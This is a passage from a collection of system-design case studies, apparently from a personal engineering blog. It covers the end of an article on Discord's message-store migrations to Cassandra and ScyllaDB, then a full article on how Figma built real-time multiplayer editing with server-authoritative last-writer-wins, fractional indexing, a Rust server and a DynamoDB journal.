**The insight**: The standard approach (Apache Spark migrator) would have taken 3 months. The custom Rust migrator completed the same work in 9 days — a 10x improvement that took approximately one day to build. The Rust migrator's advantage was simple: high-throughput concurrent I/O without framework overhead.

**How it applies elsewhere**: Before committing to a multi-month migration timeline, evaluate whether a purpose-built migration tool could drastically reduce the window. A shorter migration means less time running dual systems, less risk of divergence, and faster rollback if needed.

#### 4. Design Schemas for Portability

**The insight**: Discord designed its MongoDB schema anticipating migration from day one. When the time came to move to Cassandra, the data model translated cleanly. When moving from Cassandra to ScyllaDB, CQL compatibility meant zero schema changes.

**How it applies elsewhere**: Use standard data types and avoid database-specific features in your core data model. If your schema relies on database-specific features (MongoDB's `$push` operators, Cassandra's counters, PostgreSQL's JSONB operators), migration costs increase dramatically.

### Process Lessons

#### 1. Migrate Incrementally, Validate Continuously

**What they learned**: Discord's migration used dual writes for new data, a fast backfill for historical data, and continuous read-path validation before cutover. At no point was there a "big bang" switch.

**What they'd do differently**: The initial Spark-based migration estimate was accepted before exploring alternatives. Building the Rust migrator earlier would have reduced the pressure on the overall timeline.

#### 2. Build the Infrastructure Layer Before Migrating

**What they learned**: The Rust data services layer was built before the ScyllaDB migration. This meant the database migration was decoupled from the application — the data services presented the same interface regardless of which database backed them. This reduced migration risk and simplified rollback.

### Organizational Lessons

#### 1. Small Teams, Purpose-Built Tools

Discord's persistence team built the Rust data services library, the custom migrator, and the super-disk storage architecture. Rather than adopting complex orchestration frameworks, they built focused tools: the migrator was a single-purpose Rust binary with SQLite checkpointing. The data services library was a thin gRPC layer. Each tool did one thing well.

#### 2. Prior Experience Reduces Risk

By the time Discord migrated their message store to ScyllaDB, they had already operated ScyllaDB for every other database in their infrastructure. The message store was intentionally the last migration — tackling the largest and most critical cluster only after building confidence on smaller ones.

## Applying This to Your System

### When This Pattern Applies

You might face similar challenges if:

- Your database runs on the JVM and GC pauses cause latency outliers
- You have natural hot spots in your workload (popular channels, viral content, shared resources)
- Your cluster has grown to the point where compaction can't keep up with writes
- On-call toil for your database is a significant engineering burden

### Checklist for Evaluation

- [ ] Are your worst latency spikes caused by GC pauses rather than query complexity?
- [ ] Do you have hot partitions that degrade performance for unrelated queries on the same nodes?
- [ ] Would request coalescing (deduplicating identical in-flight reads) significantly reduce your query volume?
- [ ] Is your migration timeline the primary blocker for a database change?

### Starting Points

1. **Measure coalescing opportunity**: Log duplicate queries within short time windows (100ms). If >10% of reads are duplicates, a coalescing layer will help.
2. **Profile GC impact**: Track what percentage of your p99 latency is attributable to GC pauses vs. actual query execution. If GC dominates, evaluate non-JVM alternatives.
3. **Prototype a Rust/Go migrator**: Before committing to Spark or other frameworks for large data migrations, build a simple concurrent reader/writer and benchmark it. The throughput difference can be dramatic.

## Conclusion

Discord's message storage journey — MongoDB to Cassandra to ScyllaDB — spans 8 years and three fundamentally different databases. But the most impactful change was not any single database migration. It was the decision to build a Rust-based data services layer that absorbed hot-partition pressure through request coalescing and consistent hash routing. This layer transformed an impossible database workload (thousands of concurrent identical reads) into a manageable one (single reads, fanned out to subscribers).

The ScyllaDB migration eliminated the JVM's garbage collection — Discord's most persistent operational burden — while the shard-per-core architecture provided the workload isolation that Cassandra's shared-JVM model could not. The custom Rust migrator proved that migration tooling itself can be a first-class engineering investment: one day of development saved nearly 3 months of migration time.

The pattern is reproducible. If you're running a JVM-based database at scale and spending engineering time on GC tuning, the combination of a non-JVM database with an application-level coalescing layer addresses the root causes — not just the symptoms.

## Appendix

### Prerequisites

- Familiarity with Cassandra's partition model (partition keys, clustering keys, SSTables, compaction)
- Understanding of JVM garbage collection concepts (stop-the-world pauses, heap sizing)
- Basic knowledge of consistent hashing and request routing

### Terminology

| Term                   | Definition                                                                                                                                       |
| ---------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------ |
| **Snowflake ID**       | A 64-bit unique identifier encoding a timestamp, making IDs chronologically sortable. Originated at Twitter; adopted by Discord for message IDs. |
| **Partition key**      | In Cassandra/ScyllaDB, the part of the primary key that determines which node(s) store the data. Discord uses `(channel_id, bucket)`.            |
| **Clustering key**     | In Cassandra/ScyllaDB, the part of the primary key that determines sort order within a partition. Discord uses `message_id DESC`.                |
| **Tombstone**          | A special marker in Cassandra/ScyllaDB indicating a deleted row. Persists until compaction removes it after `gc_grace_seconds`.                  |
| **SSTable**            | Sorted String Table — Cassandra/ScyllaDB's immutable on-disk data format. Multiple SSTables are merged during compaction.                        |
| **Compaction**         | Background process that merges SSTables, removes tombstones, and optimizes read performance. Falling behind on compaction degrades reads.        |
| **Shard-per-core**     | ScyllaDB's architecture where each CPU core owns a subset of data and processes requests independently, eliminating cross-core coordination.     |
| **Request coalescing** | Deduplicating identical in-flight requests so that multiple requesters share a single database query's result.                                   |
| **Super-disk**         | Discord's hybrid storage configuration combining Local SSDs (RAID0) with Persistent Disk (RAID1) for low-latency reads with durable writes.      |
| **CQL**                | Cassandra Query Language — the SQL-like query language used by both Cassandra and ScyllaDB.                                                      |
| **gc_grace_seconds**   | Cassandra/ScyllaDB configuration controlling how long tombstones persist before physical removal. Default: 10 days. Discord reduced to 2 days.   |

### Summary

- Discord outgrew MongoDB at 100M messages (index exceeded RAM), migrated to Cassandra in 2017, then migrated to ScyllaDB in 2022 after Cassandra's JVM GC pauses and compaction backlogs became operationally unsustainable at 177 nodes
- Time-based bucket partitioning (`(channel_id, bucket)` with 10-day windows) solved Cassandra's large-partition problem but could not solve hot partitions from popular channels
- Rust data services with request coalescing and consistent hash routing transformed thousands of concurrent identical reads into single database queries — the most impactful architectural change
- A custom Rust migrator achieved 3.2M messages/second, completing the migration in 9 days instead of the 3-month Spark estimate
- ScyllaDB's shard-per-core model eliminated GC pauses and provided workload isolation that Cassandra could not — reducing the cluster from 177 to 72 nodes while improving p99 read latency from 125ms to 15ms
- The super-disk architecture (Local SSD + Persistent Disk RAID) reduced I/O latency by 50–75% on GCP

### References

- [How Discord Stores Billions of Messages](https://discord.com/blog/how-discord-stores-billions-of-messages) — Stanislav Vishnevskiy, Discord Blog, January 2017
- [How Discord Stores Trillions of Messages](https://discord.com/blog/how-discord-stores-trillions-of-messages) — Bo Ingram, Discord Blog, March 2023
- [How Discord Supercharges Network Disks for Extreme Low Latency](https://discord.com/blog/how-discord-supercharges-network-disks-for-extreme-low-latency) — Glen Oakley, Discord Blog, August 2022
- [How Discord Migrated Trillions of Messages from Cassandra to ScyllaDB](https://www.scylladb.com/tech-talk/how-discord-migrated-trillions-of-messages-from-cassandra-to-scylladb/) — Bo Ingram, ScyllaDB Summit 2023
- [ScyllaDB Shard-per-Core Architecture](https://www.scylladb.com/product/technology/shard-per-core-architecture/) — ScyllaDB Documentation
- [Discord Migrates Trillions of Messages from Cassandra to ScyllaDB](https://www.infoq.com/news/2023/06/discord-cassandra-scylladb/) — InfoQ, June 2023

---

## Figma: Building Multiplayer Infrastructure for Real-Time Design Collaboration

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/real-world-case-studies/figma-multiplayer-infrastructure
**Category:** System Design / Real-World Case Studies
**Description:** How Figma built a real-time collaboration engine that supports 200 concurrent editors per document using a CRDT-inspired, server-authoritative protocol — rejecting both Operational Transformation and pure CRDTs in favor of property-level last-writer-wins with fractional indexing, backed by a Rust multiplayer server and a DynamoDB write-ahead journal processing over 2.2 billion changes per day.

# Figma: Building Multiplayer Infrastructure for Real-Time Design Collaboration

How Figma built a real-time collaboration engine that supports 200 concurrent editors per document using a CRDT-inspired, server-authoritative protocol — rejecting both Operational Transformation and pure CRDTs in favor of property-level last-writer-wins with fractional indexing, backed by a Rust multiplayer server and a DynamoDB write-ahead journal processing over 2.2 billion changes per day.

<figure>

![Figma's real-time infrastructure: browser clients sync document edits through a per-document Rust process over WebSockets, while LiveGraph handles non-document data subscriptions backed by PostgreSQL.](./figma-s-real-time-infrastructure-browser-clients-sync-document-edits-through-a-p.svg)

<figcaption>Figma's real-time infrastructure: browser clients sync document edits through a per-document Rust process over WebSockets, while LiveGraph handles non-document data subscriptions backed by PostgreSQL.</figcaption>
</figure>

## Abstract

Figma's multiplayer system is a case study in choosing the simplest conflict resolution model that actually works for the domain. The mental model:

- **Document model**: Every Figma file is a tree of objects represented as `Map<ObjectID, Map<Property, Value>>` — similar to the HTML DOM. Conflict resolution operates at the individual property level, not the document or object level.
- **Not OT, not pure CRDT**: Figma rejected Operational Transformation (OT) for its combinatorial complexity and pure Conflict-free Replicated Data Types (CRDTs) for their decentralization overhead. Instead, they built a server-authoritative system inspired by CRDT last-writer-wins registers — the server defines operation ordering, eliminating the need for vector clocks or tombstone garbage collection.
- **Fractional indexing for ordering**: Child ordering uses arbitrary-precision fractions (base-95 encoded strings) instead of OT sequences. Inserting between two siblings averages their indices. The server resolves collisions when concurrent inserts target the same position.
- **Rust for parallelism**: The multiplayer server was rewritten from TypeScript to Rust in 2018, achieving 10x faster serialization and enabling per-document process isolation that the Node.js memory overhead made impractical.
- **Journal for durability**: A DynamoDB-backed write-ahead log (WAL) persists 95% of changes within 600ms, reducing worst-case data loss from 60 seconds (checkpoint-only) to under 1 second.
- **Two sync systems**: The multiplayer server handles document state (the design file). LiveGraph — a separate Go-based system reading the PostgreSQL WAL — handles everything else (files, teams, comments, permissions) via real-time subscriptions.

**The transferable insight**: When your problem domain has a natural conflict granularity (properties on objects in a design tool), you can build a far simpler real-time system than general-purpose CRDTs or OT require. The key is matching the conflict resolution model to the domain's actual collaboration patterns — most concurrent edits in design tools touch different objects or different properties, making last-writer-wins at the property level both correct and simple.

## Context

### The System

Figma is a browser-based design tool where multiple users edit the same document simultaneously. Unlike Google Docs (sequential text) or Miro (spatial canvas with independent objects), Figma edits affect a deeply nested tree structure — frames contain groups, groups contain shapes, shapes have hundreds of properties (position, rotation, fill, stroke, constraints, auto-layout rules). This tree structure makes real-time collaboration fundamentally harder than text editing.

| Metric                                              | Value                                    |
| --------------------------------------------------- | ---------------------------------------- |
| Max concurrent editors per file                     | 200                                      |
| Max total participants per file (editors + viewers) | 500                                      |
| Max visible multiplayer cursors                     | 200                                      |
| Client update frequency                             | ~33ms (30 FPS)                           |
| Journal changes received per day                    | >2.2 billion                             |
| Change persistence (p95)                            | ~600ms                                   |
| Data loss target on crash                           | <1 second                                |
| Client rendering engine                             | C++ compiled to WebAssembly              |
| Multiplayer server language                         | Rust (rewritten from TypeScript in 2018) |

### The Access Pattern

Figma's collaboration pattern has three properties that shaped every architectural decision:

1. **Spatial locality of edits**: In a design tool, users typically work on different parts of the canvas. Two designers rarely edit the same text field simultaneously. This makes property-level last-writer-wins viable — conflicts are infrequent in practice.

2. **High-frequency, small mutations**: Moving a shape generates a stream of position updates at 30 FPS. The system must handle thousands of property changes per second per document without introducing visible latency.

3. **Tree mutations are the hard case**: Reparenting a group of elements (dragging layers between frames) changes parent-child relationships, child ordering, and can create cycles if concurrent reparenting operations conflict. This is where naive approaches break down.

### The Trigger

When Figma shipped multiplayer editing in September 2016, the team had to decide how concurrent edits would be resolved. This is the foundational problem of collaborative editing — Google Docs had solved it for text using Operational Transformation (OT) in 2006, and academic research had produced CRDTs as a decentralized alternative. Figma chose neither.

### Constraints

- **Startup velocity**: Figma had a small team and needed to ship features rapidly. Complex algorithms like OT would slow development.
- **Design tool semantics**: Figma documents are trees of objects with hundreds of properties each — not linear text sequences. OT's character-level transforms were mismatched.
- **Browser-only client**: The entire editing engine runs in the browser (C++ compiled to WebAssembly), requiring efficient wire protocols and client-side state management.
- **Centralized architecture**: Figma had a server infrastructure. There was no requirement for peer-to-peer collaboration, which eliminated the primary motivation for pure CRDTs.

## The Design Decision: Why Not OT, Why Not CRDTs

### Why Operational Transformation Was Rejected

Evan Wallace, Figma's co-founder and CTO, explained the reasoning in 2019: OT causes a combinatorial explosion of transform functions. Every new operation type must define how it transforms against every other operation type. For a design tool with dozens of operation types (move, resize, reparent, change fill, change stroke, modify text, adjust constraints, update auto-layout parameters), the number of transform pairs grows quadratically.

OT was designed for text editing — insert and delete on a linear sequence — where the transform functions are well-understood. Adapting it to tree-structured documents with rich property sets would have been an enormous engineering investment for a startup.

Additionally, OT requires that all operations be serialized through a central server in a specific order, and the server must apply transform functions correctly for every pair. A bug in any transform function can cause permanent document divergence across clients — a class of bug that is notoriously difficult to detect and debug.

### Why Pure CRDTs Were Rejected

CRDTs are designed for fully decentralized systems where there is no central authority. This design constraint forces CRDTs to carry additional metadata:

- **Vector clocks or Lamport timestamps** for causal ordering without a central server
- **Tombstones** for tracking deletions (since any replica might not have seen the delete yet), requiring garbage collection coordination
- **Rich merge functions** that must produce identical results regardless of the order operations are received

Since Figma has a central server that all clients connect to, this decentralization overhead was unnecessary complexity. The server can define the canonical ordering of events simply by processing them in arrival order — no timestamps, no vector clocks, no tombstone GC.

### The Chosen Approach: Server-Authoritative Last-Writer-Wins

Figma built a system inspired by the **last-writer-wins register** from CRDT literature, but simplified by the presence of a central server:

1. The server maintains the authoritative document state as `Map<ObjectID, Map<Property, Value>>`
2. Clients send property-change deltas to the server over WebSockets
3. The server applies changes in arrival order and broadcasts them to all connected clients
4. When two clients change the same property on the same object, the value that arrives at the server last wins

This approach resolves conflicts at the **finest possible granularity** — individual properties on individual objects. Two clients changing different properties on the same object (one edits color, another edits position) do not conflict at all. The result contains both changes.

### Decision Factors

| Factor                    | OT                               | Pure CRDT                        | Figma's Approach               |
| ------------------------- | -------------------------------- | -------------------------------- | ------------------------------ |
| Implementation complexity | High (quadratic transform pairs) | High (metadata, tombstones, GC)  | Low (property-level LWW)       |
| Server requirement        | Yes (serialization point)        | No (peer-to-peer capable)        | Yes (authoritative ordering)   |
| Conflict granularity      | Character/operation level        | Varies by CRDT type              | Property level on objects      |
| Metadata overhead         | Low                              | High (vector clocks, tombstones) | Minimal (server assigns order) |
| Undo/redo complexity      | Well-studied                     | Extremely complex                | Complex but tractable          |
| Design tool fit           | Poor (text-optimized)            | Usable but over-engineered       | Purpose-built                  |
| Debugging difficulty      | High (divergence bugs)           | High (convergence proofs)        | Low (single source of truth)   |

The core insight: when you have a central server and your domain has a natural property-level conflict granularity, you can build something far simpler than either OT or general-purpose CRDTs.

## Implementation

### Document Model

Every Figma document is a tree of objects. Conceptually, the data structure is:

```
Map<ObjectID, Map<Property, Value>>
```

There is a single root object representing the document. Under it are page objects, and under those are the nested hierarchy of frames, groups, shapes, and other design elements. Each object has a unique ID and a set of typed properties (position, size, fill, stroke, opacity, constraints, etc.).

This is analogous to the HTML DOM — a tree where each node has an identity and a set of attributes. The key difference from text-based collaboration tools: the unit of conflict is a property on an object, not a character position in a string.

### Client-Server Protocol

#### Connection Flow

1. Client opens a Figma file and connects to the multiplayer server via WebSocket
2. The server assigns the document to a **dedicated Rust process** (one process per active document)
3. Client downloads the **full document state**
4. From this point, only **incremental deltas** flow in both directions

#### Delta Format

Each delta is a property change: "set property P on object O to value V." Clients batch changes and send them approximately every 33ms (matching the 30 FPS rendering loop). The server applies each delta to the authoritative state and broadcasts it to all other connected clients.

#### Optimistic Local Updates

Clients apply their own changes immediately — before server acknowledgment — for zero-latency local editing. When the server broadcasts changes from other clients, the local client follows a critical rule: **discard incoming server changes that conflict with unacknowledged local property changes**. This prevents flickering where an older acknowledged value would temporarily overwrite a newer local change.

Once the server acknowledges a client's change (by broadcasting it back), the client removes it from its unacknowledged set. If the server rejects a change (e.g., a reparent that would create a cycle), the client reverts the local state.

### Tree Operations: The Hard Part

#### Parent-Child Relationships

Rather than storing a children array on parent objects, Figma stores a **link to the parent as a property on the child**. This is critical: when reparenting an element, the object retains its identity. If reparenting instead deleted the object and recreated it with a new ID, any concurrent edits by other users to that object would be silently lost.

#### Fractional Indexing for Child Ordering

An object's position among its parent's children is represented as a **fraction strictly between 0 and 1** (exclusive). To insert object C between siblings A (at 0.3) and B (at 0.7):

1. Calculate the midpoint: `(0.3 + 0.7) / 2 = 0.5`
2. Assign C the position 0.5

To prevent precision loss after many insertions (repeated averaging can produce numbers with many decimal places), Figma uses **arbitrary-precision fractions** rather than 64-bit floating-point numbers. These fractions are encoded as strings using **base-95** (the entire printable ASCII range) for compact representation. String averaging is performed via string manipulation to maintain full precision.

**Why base-95?** Standard base-10 encoding wastes entropy. With base-95, each character carries ~6.6 bits of information versus ~3.3 bits for base-10. This halves the string length for equivalent precision.

#### Atomic Parent + Position Updates

The parent link and fractional position are stored as a **single composite property** so they update atomically. Without this, reparenting could briefly place an element at the wrong position in the new parent's child list — a transient but visible glitch.

#### Cycle Prevention

Concurrent reparenting operations can create cycles. If User A parents node X under node Y while User B simultaneously parents node Y under node X, the result is a cycle (X -> Y -> X) that breaks the tree.

Figma's solution: the **server rejects parent updates that would cause a cycle**. On the client side, if a reparent is rejected, the affected objects temporarily disappear from the visible tree until the server resolves the conflict. This is a simple solution to a rare, transient problem — far simpler than the CRDT-based cycle prevention algorithms that exist in the literature.

#### Concurrent Insert Collisions

When two clients simultaneously insert between the same two siblings, they generate identical fractional indices. The server detects this and **generates a unique position for the second insert**, preventing duplicate ordering keys.

**Trade-off — interleaving**: Fractional indexing can cause interleaving with concurrent bulk insertions. If Client A inserts elements "a, b, c" while Client B simultaneously inserts "x, y, z" at the same position, the result might be "a, x, b, y, c, z" rather than "a, b, c, x, y, z." Figma accepts this trade-off: in a design tool, overlapping bulk insertions at the exact same position are rare, and users can manually reorder afterward.

### Undo/Redo in Multiplayer Context

Multiplayer undo is one of the most nuanced aspects of the system. The guiding invariant: if you undo several times, copy something, then redo back to the present, the document should not change. This is a common design workflow and must be preserved.

**The problem**: In single-player mode, undo history is a simple linear stack. In multiplayer, other users may have edited the same objects between your actions. Should undo revert your change and silently overwrite their subsequent edits?

**Figma's approach**: An undo operation **modifies the redo history** at the time of the undo, and a redo **modifies the undo history** at the time of the redo. The undo/redo stacks are actively rewritten to account for concurrent changes, preventing undo from silently overwriting other users' work.

**Deleted object recovery**: When objects are deleted, their property data is stored in the **client's local undo buffer** — not on the server. This avoids the unbounded server-side storage that CRDT tombstones require. Individual clients can still recover deleted objects through their local undo stack, but other clients cannot recover objects deleted by someone else.

### The Rust Rewrite (2018)

#### Why TypeScript Hit Its Limits

The original multiplayer server was written in TypeScript running on Node.js. By 2018, two years after launching multiplayer, three problems were unsustainable:

1. **Single-threaded blocking**: Node.js processes operations sequentially. A single slow operation (encoding a large document) locked up the entire worker, blocking syncing for all documents on that worker.
2. **Garbage collection pauses**: The V8 garbage collector introduced unpredictable latency spikes during document serialization — exactly when latency matters most.
3. **Memory overhead**: The JavaScript VM's per-process memory overhead made it impractical to run a separate process for each active document. The team resorted to manual routing of problematic large documents to dedicated "heavy" worker pools.

#### The Hybrid Architecture

Rather than rewriting the entire server, Figma moved only the **performance-sensitive document operations** into Rust:

- The **Node.js process** continues to handle network I/O (WebSocket connections, HTTP requests)
- A **separate Rust child process** is spawned for each active document
- Communication between Node.js and Rust uses **stdin/stdout** with a message-based protocol

This hybrid approach was pragmatic: Rust's async I/O ecosystem was not mature enough in 2018 for a full network stack rewrite, but Rust's zero-cost abstractions and lack of garbage collection were exactly what the serialization path needed.

#### Performance Results

| Metric                         | TypeScript                       | Rust                                | Improvement              |
| ------------------------------ | -------------------------------- | ----------------------------------- | ------------------------ |
| Worst-case serialization       | Unpredictable (GC pauses)        | Deterministic                       | >10x faster              |
| Per-document process isolation | Impractical (VM memory overhead) | Feasible (minimal memory footprint) | Enabled new architecture |
| Latency spikes from GC         | Frequent, unpredictable          | None                                | Eliminated               |

The Rust rewrite enabled per-document parallelism — the single most important architectural improvement. Previously, a hot document on a worker could degrade all other documents on that worker. With per-document Rust processes, each document is fully isolated.

#### Continued Rust Optimizations (2024)

Figma continued optimizing the Rust multiplayer server six years after the initial rewrite:

- **Data structure change**: Switched from `BTreeMap` to a **flat sorted vector** for representing object property maps. The average Figma object has ~60 properties out of a constrained key space of fewer than 200 fields — small enough that linear search over a sorted vector outperforms tree traversal due to cache locality.
- **File deserialization improvement**: 20% faster at p99
- **Memory savings**: ~5% reduction in RSS across the entire multiplayer fleet
- **Pointer stuffing**: Used the top 16 bits of 64-bit pointers (only 48 bits are used for virtual addressing on x86-64) to store field IDs, packing both a field identifier and a pointer into a single 64-bit value

### Persistence: From Checkpoints to Journal

#### The Checkpoint-Only Era

Initially, the multiplayer server persisted documents by periodically encoding the entire file into a binary format (using Figma's custom Kiwi schema), compressing it, and uploading to **Amazon S3** as a checkpoint. Checkpoints were created approximately every 30-60 seconds.

**The durability gap**: If the multiplayer server crashed, up to 60 seconds of work could be lost. For the worst 5% of files (large, complex documents), checkpoint creation itself took over 4 seconds, during which the server could not process new edits — creating a latency spike proportional to file size.

#### The Journal System (WAL)

Figma introduced a **write-ahead log (journal)** backed by **Amazon DynamoDB** to complement checkpoints:

- **Journal entries** are incremental changes (the same deltas clients send), which are orders of magnitude smaller than full file snapshots
- The journal writes approximately every **0.5 seconds** — 120x more frequently than checkpoints
- Each change receives an incrementing **sequence number** tied to the file
- On crash recovery: load the latest checkpoint from S3, then replay journal entries with sequence numbers higher than the checkpoint

| Metric                   | Checkpoint-Only      | Checkpoint + Journal                  |
| ------------------------ | -------------------- | ------------------------------------- |
| Worst-case data loss     | ~60 seconds          | <1 second                             |
| Write frequency          | 30-60 seconds        | ~0.5 seconds                          |
| Change persistence (p95) | Tens of seconds      | ~600ms                                |
| Recovery mechanism       | Load last checkpoint | Checkpoint + journal replay           |
| Backing store            | Amazon S3            | DynamoDB (journal) + S3 (checkpoints) |

**File locking**: To prevent split-brain scenarios where two server processes believe they own the same document, Figma implements file locking via a DynamoDB table. The multiplayer process writes a `(lock UUID, file key)` entry; all subsequent updates are conditional on the lock UUID matching. If a stale process attempts a write with an old lock UUID, the write fails.

**Deployment safety**: During deployments, the system closes all WebSocket connections and waits for unsaved changes to be persisted to the journal. At p99, this drain takes less than 1 second.

### LiveGraph: The Other Sync System

Figma has **two** real-time sync systems, often conflated:

| Aspect              | Multiplayer Server                            | LiveGraph                                          |
| ------------------- | --------------------------------------------- | -------------------------------------------------- |
| **Data**            | Document content (shapes, properties, layers) | Product data (files, teams, comments, permissions) |
| **Source of truth** | In-memory server state                        | PostgreSQL                                         |
| **Sync model**      | Read-write (clients send edits)               | Read-only (clients subscribe to queries)           |
| **Protocol**        | Custom delta protocol over WebSocket          | GraphQL-like subscriptions                         |
| **Language**        | Rust (compute) + Node.js (network)            | Go                                                 |

#### LiveGraph v1

The original LiveGraph was built as a **data-fetching layer on top of PostgreSQL** using the database's WAL (Write-Ahead Log) replication stream. Frontend code subscribes to GraphQL-like queries, and LiveGraph detects relevant changes by reading row-level mutations from the WAL.

Before LiveGraph, Figma's product engineers manually crafted event messages and broadcast them to clients whenever they wrote to the database. This worked with a small product surface but became unsustainable as the product grew.

#### LiveGraph 100x Redesign (2024)

As Figma's user base tripled and page views grew 5x, LiveGraph required a complete rearchitecture. The redesigned system, written in Go, consists of three independently scalable services:

1. **Edge**: Receives client view requests, expands them into database queries, reconstructs results, and subscribes to the cache for invalidation signals
2. **Read-through cache**: Stores database query results, sharded by query hash
3. **Invalidator**: Reads database mutation logs (distributed via Kafka), determines which cache entries are affected, and marks them invalid

**The key architectural shift**: Moving from **Incremental View Maintenance (IVM)** — where the system tried to incrementally update cached query results as the database changed — to an **invalidation-and-refetch** model. The insight was that most database writes don't affect most cached queries, so invalidation signals are sparse, and refetching on invalidation is cheap relative to maintaining incremental update logic.

## Outcome

### What the Architecture Enables

| Capability                             | How It's Achieved                                                       |
| -------------------------------------- | ----------------------------------------------------------------------- |
| 200 concurrent editors per document    | Per-document Rust process isolation; property-level conflict resolution |
| Sub-frame latency for local edits      | Optimistic local updates; server acknowledgment is async                |
| <1 second worst-case data loss         | DynamoDB journal with ~0.5s write frequency                             |
| Full document recovery after crash     | Checkpoint (S3) + journal replay (DynamoDB)                             |
| Real-time cursors for all participants | Cursor position broadcast via the same WebSocket connection             |
| Offline editing with reconnection      | Client redownloads full state on reconnect, reapplies local changes     |

### Scale Metrics (2024)

- **Journal throughput**: >2.2 billion changes per day
- **Database growth**: ~100x since 2020 (driving PostgreSQL horizontal sharding)
- **Users**: Over 20 million total; nearly 95% of Fortune 500 companies
- **Revenue**: $749 million in 2024 (48% increase from 2023)

### Remaining Limitations

- **Single datacenter**: As of 2024, Figma's infrastructure runs primarily in AWS Oregon, with over 80% of users outside the US experiencing latency proportional to their round-trip time to that region
- **WebAssembly constraints**: WASM supports only 32-bit addressing (4 GB max memory), and memory is grow-only — growing at runtime is unreliable on mobile devices
- **Text collaboration limits**: Property-level last-writer-wins does not support character-level merging for text fields. Two users editing the same text layer simultaneously will see one user's entire text change overwrite the other's
- **Interleaving on concurrent inserts**: Fractional indexing can produce interleaved ordering when users simultaneously insert elements at the same position

### Evolution: Eg-walker for Code Layers (2025)

When Figma introduced code layers for Figma Sites — which require actual text/code editing where property-level last-writer-wins is insufficient — they adopted the **Eg-walker (Event Graph Walker)** algorithm by Joseph Gentle and Martin Kleppmann. Eg-walker represents edits as a directed acyclic event graph (analogous to git history) and merges concurrent edits via an algorithm analogous to git rebase. It temporarily builds a CRDT structure during merge, then discards it afterward, combining the memory efficiency of OT with the correctness guarantees of CRDTs. This demonstrates that Figma's approach was always domain-specific — when the domain changed (text editing), they adopted a different algorithm.

## Lessons Learned

### Technical Lessons

#### 1. Match Conflict Resolution to Domain Semantics

**The insight**: The "right" real-time collaboration algorithm depends entirely on what users are editing. Figma's property-level last-writer-wins would be disastrous for a text editor (losing entire sentences), but it's nearly perfect for a design tool where conflicts on the same property of the same object are rare.

**How it applies elsewhere**:

- Spreadsheet tools might use cell-level last-writer-wins (similar to Figma's property-level approach)
- Diagramming tools with rich objects can adopt the same model
- Text-heavy collaborative tools need character-level resolution (OT or sequence CRDTs)

**Warning signs to watch for**:

- If users frequently report "my changes disappeared," your conflict granularity may be too coarse
- If your collaboration protocol is consuming significant engineering time, you may be over-engineering for your domain

#### 2. A Central Server Simplifies Everything

**The insight**: CRDTs solve the hard problem of decentralized consensus. If you have a server, you don't need to solve that problem. Figma's server defines operation order by arrival time — no vector clocks, no causal ordering metadata, no tombstone garbage collection.

**How it applies elsewhere**:

- If your application has a server anyway (most SaaS products), pure CRDTs may be adding unnecessary complexity
- Server-authoritative models trade offline capability for simplicity — Figma handles offline by redownloading the full document on reconnect rather than merging divergent offline edits

**When this does NOT apply**:

- Local-first applications where users expect full offline functionality with automatic merge
- Peer-to-peer systems without a central server
- Applications where network partitions must be handled gracefully without data loss

#### 3. Separate the Persistence Layer from the Sync Layer

**The insight**: Figma's move from checkpoint-only persistence to checkpoint + journal reduced data loss from 60 seconds to under 1 second. The sync layer (WebSocket deltas) and the persistence layer (DynamoDB journal) serve different purposes with different latency requirements.

**How it applies elsewhere**:

- Any system with in-memory authoritative state should have a WAL independent of full snapshots
- The journal also serves as an audit log and debugging tool for production incidents

#### 4. Rewrite the Hot Path, Not the Whole System

**The insight**: Figma's Rust rewrite targeted only the performance-sensitive document operations, leaving network I/O in Node.js. This hybrid approach shipped faster and carried lower risk than a full rewrite while capturing the majority of the performance benefit.

**How it applies elsewhere**:

- Profile before rewriting — identify the actual bottleneck (for Figma: serialization and GC, not network I/O)
- A hybrid architecture with IPC between languages is viable when the boundary is clean (document operations vs. network handling)
- Per-document process isolation became feasible only because Rust's memory footprint was small enough — the language choice enabled the architecture

### Process Lessons

#### 1. Design for Migration from Day One

Figma's file format was overhauled when multiplayer launched because the original format was not efficient enough for small delta messages. This early investment in the right abstraction — `Map<ObjectID, Map<Property, Value>>` — has sustained the system for nearly a decade.

**What they'd do differently**: The original checkpoint-only persistence design underestimated crash frequency at scale. The journal system should have been built earlier.

### Organizational Lessons

#### 1. Two Sync Systems, Not One

Figma intentionally separated document sync (multiplayer server) from product data sync (LiveGraph). The multiplayer server optimizes for low-latency read-write collaboration with in-memory state. LiveGraph optimizes for correct read-only subscriptions backed by a durable database. Attempting to force both workloads through a single system would have compromised both.

## Conclusion

Figma's multiplayer infrastructure demonstrates that the simplest correct solution often outperforms the theoretically elegant one. By recognizing that a design tool's collaboration patterns — spatial locality of edits, high-frequency property changes on distinct objects, rare same-property conflicts — match the semantics of property-level last-writer-wins perfectly, Figma avoided the complexity of both OT and pure CRDTs.

The architecture has sustained nearly a decade of scaling: from the initial TypeScript prototype through the Rust rewrite, from checkpoint-only persistence through the DynamoDB journal, and from a single PostgreSQL instance through horizontal sharding. Each evolution addressed a specific bottleneck without requiring a redesign of the core collaboration model.

The proof that this approach works is in its longevity. The 2016 conflict resolution protocol — property-level last-writer-wins with server-authoritative ordering — remains the foundation of Figma's multiplayer system in 2025. When the domain changed (text editing for code layers), Figma adopted a different algorithm (Eg-walker) rather than generalizing the existing one. That discipline — matching the algorithm to the domain rather than building a universal solution — is the most transferable lesson.

## Appendix

### Prerequisites

- Familiarity with real-time collaboration concepts (conflict resolution, eventual consistency)
- Understanding of CRDTs and Operational Transformation at a conceptual level
- Basic knowledge of WebSocket-based client-server communication
- Understanding of write-ahead logs and database persistence patterns

### Terminology

| Term                                          | Definition                                                                                                                                                              |
| --------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **OT (Operational Transformation)**           | A conflict resolution approach where concurrent operations are transformed against each other to maintain consistency. Popularized by Google Docs.                      |
| **CRDT (Conflict-free Replicated Data Type)** | A data structure that can be replicated across multiple nodes and merged without coordination, guaranteeing eventual consistency.                                       |
| **Last-Writer-Wins (LWW)**                    | A conflict resolution strategy where the most recent write to a value takes precedence. Figma applies this at the property level.                                       |
| **Fractional Indexing**                       | A technique for ordering elements where each element's position is a fraction between 0 and 1, enabling insertions without reindexing siblings.                         |
| **WAL (Write-Ahead Log)**                     | A persistence pattern where changes are written to a sequential log before being applied to the main data store, enabling crash recovery.                               |
